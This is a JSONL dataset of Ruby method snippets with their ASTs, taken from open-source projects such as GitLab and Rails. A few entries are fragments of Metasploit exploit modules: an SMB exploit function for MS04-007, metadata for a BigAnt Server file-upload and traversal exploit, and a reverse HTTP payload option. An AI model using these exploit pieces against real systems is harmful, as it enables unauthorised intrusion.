{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/npm/deprecate_package_service.rb","start_line":50,"raw_source":"def metadatum_attributes(package)\n        package_json = params.dig('versions', package.version)\n\n        npm_metadatum = package.npm_metadatum || package.build_npm_metadatum(package_json: package_json)\n        return if npm_metadatum.persisted? && identical?(npm_metadatum.package_json['deprecated'])\n\n        if npm_metadatum.valid?\n          { package_id: package.id, package_json: update_package_json(npm_metadatum.package_json) }\n        else\n          Gitlab::ErrorTracking.track_exception(\n            ActiveRecord::RecordInvalid.new(npm_metadatum),\n            class: self.class.name,\n            package_id: package.id\n          )\n\n          nil\n        end\n      end","complexity_score":28.1,"ast_json":"{\"type\":\"def\",\"children\":[\"metadatum_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"package_json\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"dig\",{\"type\":\"str\",\"children\":[\"versions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"version\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"npm_metadatum\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"npm_metadatum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"build_npm_metadatum\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_json\"]},{\"type\":\"lvar\",\"children\":[\"package_json\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"npm_metadatum\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[null,\"identical?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"npm_metadatum\"]},\"package_json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"deprecated\"]}]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"npm_metadatum\"]},\"valid?\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_json\"]},{\"type\":\"send\",\"children\":[null,\"update_package_json\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"npm_metadatum\"]},\"package_json\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_exception\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordInvalid\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"npm_metadatum\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"id\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"85ce6274-d09d-4c4b-b0c8-b9af40d9103c"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/account/orders_controller.rb","start_line":26,"raw_source":"def collection_serializer\n              Spree::Api::Dependencies.storefront_order_serializer.constantize\n            end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"collection_serializer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"storefront_order_serializer\"]},\"constantize\"]}]}","id":"299f9a66-e353-47f4-b268-0634dea5d3b7"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/common/submenu.rb","start_line":65,"raw_source":"def expect_item_with_count(item, count)\n      within page.find_test_selector(\"op-submenu--item-action\", text: item) do\n        expect_count count\n      end\n    end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_item_with_count\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]},{\"type\":\"arg\",\"children\":[\"count\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find_test_selector\",{\"type\":\"str\",\"children\":[\"op-submenu--item-action\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"item\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"expect_count\",{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]}","id":"83da5399-13cc-4ba2-af21-c2d367858074"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240815114641_remove_projects_vulnerability_statistics_project_id_fk.rb","start_line":9,"raw_source":"def up\n    with_lock_retries do\n      remove_foreign_key_if_exists(:vulnerability_statistics, :projects,\n        name: FOREIGN_KEY_NAME, reverse_lock_order: true)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"vulnerability_statistics\"]},{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FOREIGN_KEY_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"45372126-0e9f-491e-8b43-16f3bf08a510"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/render_test.rb","start_line":1124,"raw_source":"def test_expires_in_overridden_by_no_store\n    get :expires_in_overridden_by_no_store\n    assert_equal \"no-store\", @response.headers[\"Cache-Control\"]\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_expires_in_overridden_by_no_store\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"expires_in_overridden_by_no_store\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"no-store\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Cache-Control\"]}]}]}]}]}","id":"d1c7d50a-4f65-4ab1-8dad-52a158d14e44"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/smell_detectors/data_clump.rb","start_line":74,"raw_source":"def max_copies\n        @max_copies ||= value(MAX_COPIES_KEY, context)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"max_copies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@max_copies\"]},{\"type\":\"send\",\"children\":[null,\"value\",{\"type\":\"const\",\"children\":[null,\"MAX_COPIES_KEY\"]},{\"type\":\"send\",\"children\":[null,\"context\"]}]}]}]}","id":"d0a94aef-a01b-4e0a-a2bf-d8c47d16ab73"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/windows/x64/reverse_win_http_x64.rb","start_line":19,"raw_source":"def initialize(*args)\n    super\n    register_advanced_options([\n        OptBool.new('HttpProxyIE', 'Enable use of IE proxy settings', default: true, aliases: ['PayloadProxyIE'])\n      ], self.class)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpProxyIE\"]},{\"type\":\"str\",\"children\":[\"Enable use of IE proxy settings\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aliases\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadProxyIE\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}","id":"09bb3e93-7ed6-453a-b172-8ff47424f2eb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/smb/ms04_007_killbill.rb","start_line":131,"raw_source":"def exploit_smb(token)\n    connect(versions: [1])\n\n    client = Rex::Proto::SMB::Client.new(sock)\n\n    begin\n      client.session_request(smb_hostname()) if not datastore['SMBDirect']\n      client.negotiate\n      client.session_setup_with_ntlmssp_blob(token)\n    rescue => e\n      if (e.to_s =~ /error code 0x00050001/)\n        print_error(\"The target system has already been exploited\")\n      else\n        print_error(\"Error: #{e}\")\n      end\n    end\n\n    handler\n    disconnect\n  end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit_smb\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"versions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"SMB\"]},\"Client\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"sock\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMBDirect\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"session_request\",{\"type\":\"send\",\"children\":[null,\"smb_hostname\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"negotiate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"session_setup_with_ntlmssp_blob\",{\"type\":\"lvar\",\"children\":[\"token\"]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"error code 0x00050001\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"The target system has already been exploited\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"6d6dcaf9-9fac-428c-be44-09bc7e4e9cce"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/bigant_server_dupf_upload.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'BigAnt Server DUPF Command Arbitrary File Upload',\n        'Description' => %q{\n          This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7.\n          A lack of authentication allows to make unauthenticated file uploads through a DUPF\n          command. Additionally the filename option in the same command can be used to launch\n          a directory traversal attack and achieve arbitrary file upload.\n\n          The module uses the Windows Management Instrumentation service to execute an\n          arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It\n          has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003\n          SP2.\n        },\n        'Author' => [\n          'Hamburgers Maccoy', # Vulnerability discovery\n          'juan vazquez' # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2012-6274' ],\n          [ 'US-CERT-VU', '990652' ],\n          [ 'BID', '57214' ],\n          [ 'OSVDB', '89342' ]\n        ],\n        'Privileged' => true,\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'BigAnt Server 2.97 SP7', {} ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'WfsDelay' => 10\n        },\n        'DisclosureDate' => '2013-01-09',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(6661),\n        OptInt.new('DEPTH', [true, \"Levels to reach base directory\", 6])\n      ]\n    )\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"BigAnt Server DUPF Command Arbitrary File Upload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7.\\n\"]},{\"type\":\"str\",\"children\":[\"          A lack of authentication allows to make unauthenticated file uploads through a DUPF\\n\"]},{\"type\":\"str\",\"children\":[\"          command. Additionally the filename option in the same command can be used to launch\\n\"]},{\"type\":\"str\",\"children\":[\"          a directory traversal attack and achieve arbitrary file upload.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The module uses the Windows Management Instrumentation service to execute an\\n\"]},{\"type\":\"str\",\"children\":[\"          arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It\\n\"]},{\"type\":\"str\",\"children\":[\"          has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003\\n\"]},{\"type\":\"str\",\"children\":[\"          SP2.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Hamburgers Maccoy\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2012-6274\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"US-CERT-VU\"]},{\"type\":\"str\",\"children\":[\"990652\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"57214\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"89342\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BigAnt Server 2.97 SP7\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-01-09\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[6661]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"DEPTH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Levels to reach base directory\"]},{\"type\":\"int\",\"children\":[6]}]}]}]}]}]}]}","id":"1c854bea-aedd-4e58-9395-77a7ef5c2e33"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240328032449_drop_merge_request_diff_llm_summary_table.rb","start_line":10,"raw_source":"def down\n    create_table :merge_request_diff_llm_summaries do |t|\n      t.references :user, null: true, index: true\n      t.references :review, null: false, index: true\n      t.references :merge_request_diff, null: false\n      t.timestamps_with_timezone null: false\n      t.integer :provider, null: false, limit: 2\n      t.text :content, null: false, limit: 2056\n    end\n  end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"merge_request_diff_llm_summaries\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"review\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"merge_request_diff\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"provider\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[2056]}]}]}]}]}]}]}","id":"644c9ed7-be95-4687-9afc-bde14facbc96"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/job/dispatcher.rb","start_line":14,"raw_source":"def self.waiting?\n      job_class.where(:state => \"waiting_to_start\").any?\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"waiting?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job_class\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"str\",\"children\":[\"waiting_to_start\"]}]}]}]},\"any?\"]}]}","id":"90cea51d-2683-43b0-b5a3-cabff491c56f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/job.rb","start_line":265,"raw_source":"def at(interval)\n        int = interval.to_f\n        now = Time.now.to_f\n        ts = ((int < 1_000_000_000) ? now + int : int)\n        # Optimization to enqueue something now that is scheduled to go out now or in the past\n        @opts[\"at\"] = ts if ts > now\n        self\n      end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"at\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"interval\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"int\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interval\"]},\"to_f\"]}]},{\"type\":\"lvasgn\",\"children\":[\"now\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_f\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ts\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"int\"]},\"<\",{\"type\":\"int\",\"children\":[1000000000]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"now\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"int\"]}]},{\"type\":\"lvar\",\"children\":[\"int\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\">\",{\"type\":\"lvar\",\"children\":[\"now\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@opts\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"at\"]},{\"type\":\"lvar\",\"children\":[\"ts\"]}]},null]},{\"type\":\"self\",\"children\":[]}]}]}","id":"e7e47226-c8d3-475f-a189-7d7055a1b09f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/project/object_builder.rb","start_line":189,"raw_source":"def diff_commit_user?\n          klass == MergeRequest::DiffCommitUser\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_commit_user?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"DiffCommitUser\"]}]}]}","id":"97359e1b-8a6c-4755-bb20-61dcfe9712a9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/yaml_serialization_test.rb","start_line":157,"raw_source":"def yaml_fixture(file_name)\n      path = File.expand_path(\n        \"support/yaml_compatibility_fixtures/#{file_name}.yml\",\n        TEST_ROOT\n      )\n      File.read(path)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"yaml_fixture\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"support/yaml_compatibility_fixtures/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"str\",\"children\":[\".yml\"]}]},{\"type\":\"const\",\"children\":[null,\"TEST_ROOT\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"18c637b3-f953-42d0-b2b1-48ea8f3e5dba"}
{"repo_name":"forem","file_path":"./repos/forem/spec/liquid_tags/kotlin_tag_spec.rb","start_line":11,"raw_source":"def generate_new_liquid(link)\n      Liquid::Template.register_tag(\"kotlin\", KotlinTag)\n      Liquid::Template.parse(\"{% kotlin #{link} %}\")\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_new_liquid\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"link\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"register_tag\",{\"type\":\"str\",\"children\":[\"kotlin\"]},{\"type\":\"const\",\"children\":[null,\"KotlinTag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{% kotlin \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]}]},{\"type\":\"str\",\"children\":[\" %}\"]}]}]}]}]}","id":"1ad8aabe-e2d5-4acc-9bae-f22e67cef272"}
